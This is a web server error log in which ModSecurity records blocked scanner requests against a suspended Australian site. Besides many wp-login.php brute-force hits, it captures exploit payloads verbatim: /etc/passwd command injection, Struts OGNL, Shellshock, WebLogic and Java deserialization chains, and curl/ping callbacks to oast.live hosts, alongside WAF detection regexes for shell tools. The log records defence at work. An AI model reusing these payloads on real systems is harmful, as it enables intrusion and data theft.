[Sat Nov 15 13:36:59.692616 2025] [:error] [pid 27909:tid 27921] [client 107.189.11.185:5905] [client 107.189.11.185] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 107.189.11.185, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRgReyTfZ6B57n8HepX7lAAAAAg"], referer: https://www.google.com/
[Sat Nov 15 13:36:59.699751 2025] [:error] [pid 27909:tid 27921] [client 107.189.11.185:5905] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php, referer: https://www.google.com/
[Sat Nov 15 14:22:19.866276 2025] [:error] [pid 19961:tid 20009] [client 85.128.143.136:37116] [client 85.128.143.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.128.143.136, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRgcGzar7Si-84EApVRL5QAAAdA"]
[Sat Nov 15 14:22:19.872769 2025] [:error] [pid 19961:tid 20009] [client 85.128.143.136:37116] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Sat Nov 15 15:31:37.351580 2025] [:error] [pid 20313:tid 20330] [client 3.131.15.246:55716] [client 3.131.15.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.131.15.246, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRgsWRI9DXIgPadBLUZxmQAAAs4"]
[Sat Nov 15 15:31:37.360134 2025] [:error] [pid 20313:tid 20330] [client 3.131.15.246:55716] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Sat Nov 15 16:45:47.673171 2025] [:error] [pid 20654:tid 20673] [client 185.182.187.0:46400] [client 185.182.187.0] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.182.187.0, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRg9u3cS7eC8vO76_yfGrQAAA5A"]
[Sat Nov 15 16:45:47.681974 2025] [:error] [pid 20654:tid 20673] [client 185.182.187.0:46400] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Sat Nov 15 17:25:08.860264 2025] [:error] [pid 20654:tid 20678] [client 144.48.39.108:59600] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(?:cmd(?:\\\\b[^a-zA-Z0-9_]{0,}?\\\\/c|(?:32){0,1}\\\\.exe\\\\b)|(?:ftp|n(?:c|et|map)|rcmd|telnet|w(?:guest|sh))\\\\.exe\\\\b)" at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "60"] [id "211200"] [rev "3"] [msg "COMODO WAF: System Command Access||windfarmcoolants.com.au|F|2"] [data "Matched Data: cmd.exe found within ARGS:handle: com.tangosol.coherence.mvel2.sh.shellsession(weblogic.work.executethread executethread =(weblogic.work.executethread) thread.currentthread() weblogic.work.workadapter adapter = executethread.getcurrentwork() java.lang.reflect.field field = adapter.getclass().getdeclaredfield(connectionhandler) field.setaccessible(true) object obj = field.get(adapter) weblogic.servlet.internal.servletrequestimpl req =(weblogic.servlet.internal.servletrequestimpl) obj.getclas..."] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/console/css/%2e%2e%2fconsole.portal"] [unique_id "aRhG9HcS7eC8vO76_yfUKQAAA5U"]
[Sat Nov 15 17:25:12.419485 2025] [:error] [pid 22765:tid 22782] [client 144.48.39.108:59606] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 1). Match of "endsWith /wp-cron.php" against "REQUEST_FILENAME" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "103"] [id "217200"] [rev "2"] [msg "COMODO WAF: HTTP/1.1 POST request missing Content-Length Header||windfarmcoolants.com.au|F|2"] [data "/guest_auth/guestisup.php"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/guest_auth/guestIsUp.php"] [unique_id "aRhG-KbrQzjuZmPIWDbeTAAAAow"]
[Sat Nov 15 17:59:22.764050 2025] [:error] [pid 19959:tid 19982] [client 207.154.196.136:38128] [client 207.154.196.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 207.154.196.136, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRhO-sjejiTUP1-IawPRoAAAAZA"]
[Sat Nov 15 17:59:22.770452 2025] [:error] [pid 19959:tid 19982] [client 207.154.196.136:38128] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Sat Nov 15 19:11:48.466188 2025] [:error] [pid 19961:tid 20003] [client 51.38.116.112:44748] [client 51.38.116.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.38.116.112, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRhf9Dar7Si-84EApVR9cAAAAco"]
[Sat Nov 15 19:11:48.473308 2025] [:error] [pid 19961:tid 20003] [client 51.38.116.112:44748] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Sat Nov 15 19:18:21.992850 2025] [:error] [pid 27909:tid 27930] [client 144.48.39.108:49900] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /fuel/pages/select/?filter=%27%2bpi(print(%24a%3d%27system%27))%2b%24a(%27cat%20/etc/passwd%27)%2b%27"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/fuel/pages/select/"] [unique_id "aRhhfSTfZ6B57n8HepU2BwAAABE"]
[Sat Nov 15 19:18:21.992886 2025] [:error] [pid 20654:tid 20676] [client 144.48.39.108:49890] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?:\\\\b(?:c(?:d(?:\\\\b[^a-zA-Z0-9_]{0,}?[\\\\/]|[^a-zA-Z0-9_]{0,}?\\\\.\\\\.)|hmod.{0,40}?\\\\+.{0,3}x|md(?:\\\\b[^a-zA-Z0-9_]{0,}?\\\\/c|(?:\\\\.exe|32)\\\\b))|(?:echo\\\\b[^a-zA-Z0-9_]{0,}?\\\\by{1,}|n(?:et(?:\\\\b[^a-zA-Z0-9_]{1,}?\\\\blocalgroup|\\\\.exe)|(?:c|map)\\\\.exe)|t(? ..." at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "65"] [id "211210"] [rev "8"] [msg "COMODO WAF: System Command Injection||windfarmcoolants.com.au|F|2"] [data "Matched Data: |echo found within REQUEST_COOKIES:username: admin|echo%20`ping -c 3 d4bethlndua6f9q50b70fdjjunq9jcgnx.oast.live`"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aRhhfXcS7eC8vO76_yf6OwAAA5M"]
[Sat Nov 15 19:18:21.993562 2025] [:error] [pid 19959:tid 19979] [client 144.48.39.108:49916] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3b%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%20%23"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/install/lib/ajaxHandlers/ajaxServerSettingsChk.php"] [unique_id "aRhhfcjejiTUP1-IawPjRAAAAY0"]
[Sat Nov 15 19:18:21.996073 2025] [:error] [pid 27997:tid 28011] [client 144.48.39.108:49892] File does not exist: /usr/local/apache/htdocs/suspended-page/index.php
[Sat Nov 15 19:18:22.538494 2025] [:error] [pid 20654:tid 20660] [client 144.48.39.108:49930] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Found 1 byte(s) in ARGS:search outside range: 1-255. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "95"] [id "210410"] [rev "4"] [msg "COMODO WAF: Invalid character in request||windfarmcoolants.com.au|F|3"] [data "ARGS:search==\\x00{.cookie|12yVqj|value=CVE-2014-6287.}"] [severity "ERROR"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aRhhfncS7eC8vO76_yf6PAAAA4M"]
[Sat Nov 15 19:18:22.539100 2025] [:error] [pid 20346:tid 20370] [client 144.48.39.108:49934] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /pages/systemcall.php?command=cat%20/etc/passwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/pages/systemcall.php"] [unique_id "aRhhfp7hsydZdIoVTltAkQAAAxU"]
[Sat Nov 15 19:18:22.546872 2025] [:error] [pid 22613:tid 22617] [client 144.48.39.108:49958] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /ajax/render/widget_tabbedcontainer_tab_panel"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/ajax/render/widget_tabbedcontainer_tab_panel"] [unique_id "aRhhfioyR3cDsIRGPRnKYwAAAgI"]
[Sat Nov 15 19:18:22.548446 2025] [:error] [pid 19959:tid 19969] [client 144.48.39.108:49964] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /PDC/ajaxreq.php?PARAM=127.0.0.1+-c+0%3B+cat+%2Fetc%2Fpasswd&DIAGNOSIS=PING"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/PDC/ajaxreq.php"] [unique_id "aRhhfsjejiTUP1-IawPjRQAAAYM"]
[Sat Nov 15 19:18:22.551064 2025] [:error] [pid 22613:tid 22620] [client 144.48.39.108:49996] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /?name=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess..."] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aRhhfioyR3cDsIRGPRnKZAAAAgU"]
[Sat Nov 15 19:18:23.582101 2025] [:error] [pid 19959:tid 19981] [client 144.48.39.108:50042] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /cgi-bin/kerbynet?Action=StartSessionSubmit&User='%0acat%20/etc/passwd%0a'&PW"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/kerbynet"] [unique_id "aRhhf8jejiTUP1-IawPjRwAAAY8"]
[Sat Nov 15 19:18:23.582559 2025] [:error] [pid 20654:tid 20664] [client 144.48.39.108:50028] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/kerbynet"] [unique_id "aRhhf3cS7eC8vO76_yf6PwAAA4c"]
[Sat Nov 15 19:18:23.584302 2025] [:error] [pid 20346:tid 20352] [client 144.48.39.108:50054] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /?id=%25%7B%28%23instancemanager%3D%23application%5B%22org.apache.tomcat.InstanceManager%22%5D%29.%28%23stack%3D%23attr%5B%22com.opensymphony.xwork2.util.ValueStack.ValueStack%22%5D%29.%28%23bean%3D%23instancemanager.newInstance%28%22org.apache.commons.collections.BeanMap%22%29%29.%28%23bean.setBean%28%23stack%29%29.%28%23context%3D%23bean.get%28%22context%22%29%29.%28%23bean.setBean%28%23context%29%29.%28%23macc%3D%23bean.get%28%22memberAccess%22%29%29.%28%2..."] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aRhhf57hsydZdIoVTltAlAAAAwM"]
[Sat Nov 15 19:18:23.586196 2025] [:error] [pid 27911:tid 27975] [client 144.48.39.108:50016] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "rx ^(?:\\\\w+\\\\/[\\\\w\\\\-\\\\.]+)(?:;(?:charset=[\\\\w\\\\-]{1,18}|boundary=[\\\\w\\\\-]+)?)?$" against "REQUEST_HEADERS:Content-Type" required. [file "/usr/local/apache/modsecurity-cwaf/rules/30_Apps_OtherApps.conf"] [line "6743"] [id "243930"] [rev "2"] [msg "COMODO WAF: Remote code execution in Apache Struts versions 2.3.31 - 2.3.5 and 2.5 - 2.5.10 (CVE-2017-5638)||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aRhhf8GzUdrhGBIfiKRuZwAAAIc"]
[Sat Nov 15 19:18:24.629477 2025] [:error] [pid 19959:tid 19968] [client 144.48.39.108:50082] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /bsh.servlet.BshServlet"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/bsh.servlet.BshServlet"] [unique_id "aRhhgMjejiTUP1-IawPjSAAAAYI"]
[Sat Nov 15 19:18:25.660529 2025] [:error] [pid 22613:tid 22619] [client 144.48.39.108:50088] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Pattern match "[\\\\x22';=]" at FILES:abc. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "17"] [id "210220"] [rev "1"] [msg "COMODO WAF: Attempted multipart/form-data bypass||windfarmcoolants.com.au|F|2"] [data "t';id;echo '1_"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/mainfunction.cgi/cvmcfgupload"] [unique_id "aRhhgSoyR3cDsIRGPRnKZwAAAgQ"]
[Sat Nov 15 19:18:25.666939 2025] [:error] [pid 19959:tid 19985] [client 144.48.39.108:50090] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /user.action"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/user.action"] [unique_id "aRhhgcjejiTUP1-IawPjSQAAAZM"]
[Sat Nov 15 19:18:25.668093 2025] [:error] [pid 19959:tid 19977] [client 144.48.39.108:50104] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /webadm/?q=moni_detail.do&action=gragh"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/webadm/"] [unique_id "aRhhgcjejiTUP1-IawPjSgAAAYs"]
[Sat Nov 15 19:18:25.668836 2025] [:error] [pid 20346:tid 20369] [client 144.48.39.108:50110] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /webadm/?q=moni_detail.do&action=gragh"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/webadm/"] [unique_id "aRhhgZ7hsydZdIoVTltAlwAAAxQ"]
[Sat Nov 15 19:18:25.678566 2025] [:error] [pid 20654:tid 20680] [client 144.48.39.108:50154] [client 144.48.39.108] ModSecurity: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||windfarmcoolants.com.au|F|2"] [data "TX:0=x-application/hessian"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "windfarmcoolants.com.au"] [uri "/mifs/.;/services/LogService"] [unique_id "aRhhgXcS7eC8vO76_yf6QgAAA5c"], referer: https://windfarmcoolants.com.au
[Sat Nov 15 19:18:25.679432 2025] [:error] [pid 20654:tid 20669] [client 144.48.39.108:50162] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /password_change.cgi"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/password_change.cgi"] [unique_id "aRhhgXcS7eC8vO76_yf6QwAAA4w"], referer: https://windfarmcoolants.com.au
[Sat Nov 15 19:18:25.684726 2025] [:error] [pid 20313:tid 20331] [client 144.48.39.108:50202] File does not exist: /usr/local/apache/htdocs/suspended-page/upgrade_handle.php
[Sat Nov 15 19:18:25.686429 2025] [:error] [pid 20654:tid 20677] [client 144.48.39.108:50170] File does not exist: /usr/local/apache/htdocs/suspended-page/boardDataWW.php
[Sat Nov 15 19:18:26.665773 2025] [:error] [pid 27911:tid 27970] [client 144.48.39.108:50280] File does not exist: /usr/local/apache/htdocs/suspended-page/mailingupgrade.php
[Sat Nov 15 19:18:27.634326 2025] [:error] [pid 20654:tid 20670] [client 144.48.39.108:50318] File does not exist: /usr/local/apache/htdocs/suspended-page/installer-backup.php
[Sat Nov 15 19:18:28.629271 2025] [:error] [pid 20313:tid 20316] [client 144.48.39.108:50388] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Found 161 byte(s) in ARGS_NAMES:\\xac\\xed\\x00\\x05sr\\x00\\x11java.util.HashSet\\xbaD\\x85\\x95\\x96\\xb8\\xb74\\x03\\x00\\x00xpw\\x0c\\x00\\x00\\x00\\x02?@\\x00\\x00\\x00\\x00\\x00\\x01sr\\x004org.apache.commons.collections.keyvalue.TiedMapEntry\\x8a\\xad\\xd2\\x9b9\\xc1\\x1f\\xdb\\x02\\x00\\x02L\\x00\\x03keyt\\x00\\x12Ljava/lang/Object;L\\x00\\x03mapt\\x00\\x0fLjava/util/Map;xpt\\x00\\x03foosr\\x00*org.apache.commons.collections.map.LazyMapn\\xe5\\x94\\x82\\x9ey\\x10\\x94\\x03\\x00\\x01L\\x00\\x07factoryt\\x00,Lorg/apache/commons/collections/Transformer;xpsr\\x00:org.apache.commons.collections.functors.ChainedTransformer0\\xc7\\x97\\xec(z\\x97\\x04\\x02\\x00\\x01[\\x00\\riTransformerst\\x00-[Lorg/apache/commons/collections/Transformer;xpur\\x00-[Lorg.apache.commons.collections.Transformer;\\xbdV*\\xf1\\xd84\\x18\\x99\\x02\\x00\\x00xp\\x00\\x00\\x00\\x05sr\\x00;org.apache.commons.collections.functors.ConstantTransformerXv\\x90\\x11A\\x02\\xb1\\x94\\x02\\x00\\x01L\\x00\\tiConstantq\\x00~\\x00\\x03xpvr\\x00\\x11java.lang.Runtime\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 [hostname "windfarmcoolants.com.au"] [uri "/com.example.TestService"] [unique_id "aRhhhBI9DXIgPadBLUaWWQAAAsA"]
[Sat Nov 15 19:18:28.629376 2025] [:error] [pid 22765:tid 22780] [client 144.48.39.108:50404] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Found 7 byte(s) in ARGS_NAMES:\\x00r\\x00\\x00\\n\\x00UWSGI_FILEK\\x00exec://curl aaaaaaaaaa.d4bethlndua6f9q50b70cfdxcgs7xwher.oast.live; echo ""\\v\\x00SCRIPT_NAME\\n\\x00/penetrate outside range: 1-255. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "95"] [id "210410"] [rev "4"] [msg "COMODO WAF: Invalid character in request||windfarmcoolants.com.au|F|3"] [data "ARGS_NAMES:\\x5cx00r\\x5cx00\\x5cx00\\x5cn\\x5cx00UWSGI_FILEK\\x5cx00exec://curl aaaaaaaaaa.d4bethlndua6f9q50b70cfdxcgs7xwher.oast.live; echo \\x22\\x22\\x5cv\\x5cx00SCRIPT_NAME\\x5cn\\x5cx00/penetrate=\\x00r\\x00\\x00\\x0a\\x00UWSGI_FILEK\\x00exec://curl aaaaaaaaaa.d4bethlndua6f9q50b70cfdxcgs7xwher.oast.live; echo \\x22\\x22\\x0b\\x00SCRIPT_NAME\\x0a\\x00/penetrate"] [severity "ERROR"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aRhhhKbrQzjuZmPIWDb2SQAAAoo"]
[Sat Nov 15 19:18:29.638742 2025] [:error] [pid 20654:tid 20672] [client 144.48.39.108:36366] [client 144.48.39.108] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||windfarmcoolants.com.au|F|2"] [data "Multipart parsing error: Multipart: Final boundary missing."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/user/register"] [unique_id "aRhhhXcS7eC8vO76_yf6TQAAA48"], referer: windfarmcoolants.com.au/user/register
[Sat Nov 15 19:18:31.584566 2025] [:error] [pid 20313:tid 20319] [client 144.48.39.108:36440] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^(?:\\\\'\\\\w+?=)?\\\\(\\\\)\\\\s{" at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "77"] [id "221260"] [rev "3"] [msg "COMODO WAF: Shellshock Command Injection Vulnerabilities in GNU Bash through 4.3 bash43-026 (CVE-2014-7187, CVE-2014-7186, CVE-2014-7169, CVE-2014-6278, CVE-2014-6277, CVE-2014-6271)||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/test.cgi"] [unique_id "aRhhhxI9DXIgPadBLUaWXQAAAsM"], referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
[Sat Nov 15 19:18:31.585261 2025] [:error] [pid 20313:tid 20334] [client 144.48.39.108:36462] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^(?:\\\\'\\\\w+?=)?\\\\(\\\\)\\\\s{" at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "77"] [id "221260"] [rev "3"] [msg "COMODO WAF: Shellshock Command Injection Vulnerabilities in GNU Bash through 4.3 bash43-026 (CVE-2014-7187, CVE-2014-7186, CVE-2014-7169, CVE-2014-6278, CVE-2014-6277, CVE-2014-6271)||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/test-cgi"] [unique_id "aRhhhxI9DXIgPadBLUaWXgAAAtI"], referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
[Sat Nov 15 19:18:31.586481 2025] [:error] [pid 20654:tid 20681] [client 144.48.39.108:36454] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^(?:\\\\'\\\\w+?=)?\\\\(\\\\)\\\\s{" at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "77"] [id "221260"] [rev "3"] [msg "COMODO WAF: Shellshock Command Injection Vulnerabilities in GNU Bash through 4.3 bash43-026 (CVE-2014-7187, CVE-2014-7186, CVE-2014-7169, CVE-2014-6278, CVE-2014-6277, CVE-2014-6271)||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/debug.cgi"] [unique_id "aRhhh3cS7eC8vO76_yf6TgAAA5g"], referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
